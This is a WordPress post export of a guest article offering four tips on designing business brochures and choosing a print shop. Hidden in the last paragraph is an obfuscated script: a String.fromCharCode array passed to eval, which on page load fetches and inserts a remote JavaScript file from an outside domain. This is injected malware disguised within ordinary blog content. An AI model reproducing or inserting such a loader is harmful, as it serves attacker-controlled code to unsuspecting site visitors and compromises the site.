{"id":6032,"date":"2023-06-09T10:56:32","date_gmt":"2023-06-09T10:56:32","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/4-things-you-need-to-know-about-creating-business-brochures\/"},"modified":"2023-06-09T10:56:32","modified_gmt":"2023-06-09T10:56:32","slug":"4-things-you-need-to-know-about-creating-business-brochures","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/4-things-you-need-to-know-about-creating-business-brochures\/","title":{"rendered":"4 Things You Need to Know About Creating Business Brochures"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/4-things-you-need-to-know-about-creating-business-brochures\/#1_You_Need_to_Know_the_Purpose_For_Business_Brochures\" title=\"1. You Need to Know the Purpose For Business Brochures\">1. You Need to Know the Purpose For Business Brochures<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/4-things-you-need-to-know-about-creating-business-brochures\/#2_Avoid_Making_the_Design_Too_Busy\" title=\"2. Avoid Making the Design Too Busy\">2. Avoid Making the Design Too Busy<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/4-things-you-need-to-know-about-creating-business-brochures\/#3_Make_Sure_the_Text_in_the_Business_Brochure_is_Right\" title=\"3. Make Sure the Text in the Business Brochure is Right\">3. Make Sure the Text in the Business Brochure is Right<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/4-things-you-need-to-know-about-creating-business-brochures\/#4_Use_an_Experienced_and_Reputable_Print_Shop\" title=\"4. Use an Experienced and Reputable Print Shop\">4. Use an Experienced and Reputable Print Shop<\/a><\/li><\/ul><\/nav><\/div>\n<p><strong><em>This is a guest post from\u00a0Costea Lestoc, who\u00a0began writing on his personal blog and then discovered his true calling: writing about\u00a0technology. Costa has since been a technical writer, author and blogger since 2005. An industry watcher that stays on top of the latest news, Costa is extremely passionate about juicy tech news and everything related to gadgets.<\/em><\/strong><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Having success in the world of small business is no accident. Most business owners work very hard to reach a new audience.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;> An essential part of connecting with new clients is finding the best marketing methods to use. When attempting to give your audience something tangible, creating business brochures is a great idea. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>A brochure is a great way to tell people more about what your company does and how your products or services can benefit them. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Working with the team at <\/span><span style=&quot;font-weight: 400;&quot;>banana-print.co.uk<\/span><span style=&quot;font-weight: 400;&quot;>, is a great way to get some guidance regarding how to make award-winning brochures. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Read below to find out about some of the things you need to do in order to create the right types of brochures for your business.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"1_You_Need_to_Know_the_Purpose_For_Business_Brochures\"><\/span><b>1. You Need to Know the Purpose For Business Brochures<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Before the brochure design process starts, you will have to figure out why you are getting these marketing materials printed. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Usually, businesses will implement the use of brochures when launching a new product or service.\u00a0\u00a0<\/span><span style=&quot;font-weight: 400;&quot;>If this is the reason why you are getting brochures made, then you will need to keep this in mind as the design process rolls on. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Losing sight of why these marketing materials are being made will usually lead to a variety of problems regarding message clarity. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>If a reader is confused about what your message is, you will find it hard to reel them in and make them a customer. Staying on message is essential for the success of your <\/span><span style=&quot;font-weight: 400;&quot;>brochure marketing campaign<\/span><span style=&quot;font-weight: 400;&quot;>.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"2_Avoid_Making_the_Design_Too_Busy\"><\/span><b>2. Avoid Making the Design Too Busy<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Among the biggest mistakes made by business owners when it comes to the design of their brochures is using too many fonts, images and infographics. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>While making the brochure appealing should be your main concern, there is a fine line between an appealing design and a design that has far too much going on.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;> The more elements you add to your brochure, the easier it will be for your concept to get swallowed up. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>If you are unsure about what design elements to use in your brochure, then working with professionals in the print industry is a must. They will be able to offer you a great deal of guidance regarding what to put in and what to leave out of your brochure. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Before selecting a print shop to work with, you should <\/span><span style=&quot;font-weight: 400;&quot;>take a look at their portfolio<\/span><span style=&quot;font-weight: 400;&quot;> to ensure they are the right fit for the job at hand. <\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"3_Make_Sure_the_Text_in_the_Business_Brochure_is_Right\"><\/span><b>3. Make Sure the Text in the Business Brochure is Right<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Some business owners will go so wrapped up in the look of their brochure that they will forget all about adding appealing and informative text. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>If you are unsure about how to get your message across with text, working with a professional copywriter is a great idea. They will be able to take the ideas you have and get them ironed out for your brochure.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;> They will also read over the text to ensure it makes sense and that there are no errors in it. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Having this type of help is essential when trying to get the right brochure produced.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"4_Use_an_Experienced_and_Reputable_Print_Shop\"><\/span><b>4. Use an Experienced and Reputable Print Shop<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Once you have all of the details of how you want your brochure to look, you will have to find a print shop to help you bring this idea to life. Usually, there will be a variety of shops in your area to choose from. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Ideally, you want to select a print professional who has been in the <\/span><span style=&quot;font-weight: 400;&quot;>business for a number of years<\/span><span style=&quot;font-weight: 400;&quot;> due to the value they can add to this project. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Getting a look at a shop\u2019s portfolio of past work is a great way to figure out if they are the right fit for the job. <\/span><span style=&quot;font-weight: 400;&quot;>The team at Banana Print will be able to help a business owner get the right brochures produced with ease. <\/span><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is a guest post from\u00a0Costea Lestoc, who\u00a0began writing on his personal blog and then discovered his true calling: writing about\u00a0technology. Costa has since been a technical writer, author and blogger since 2005. An industry watcher that stays on top of the latest news, Costa is extremely passionate about juicy tech news and everything related [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6032","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6032"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6032"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6032\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6032"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6032"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6032"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}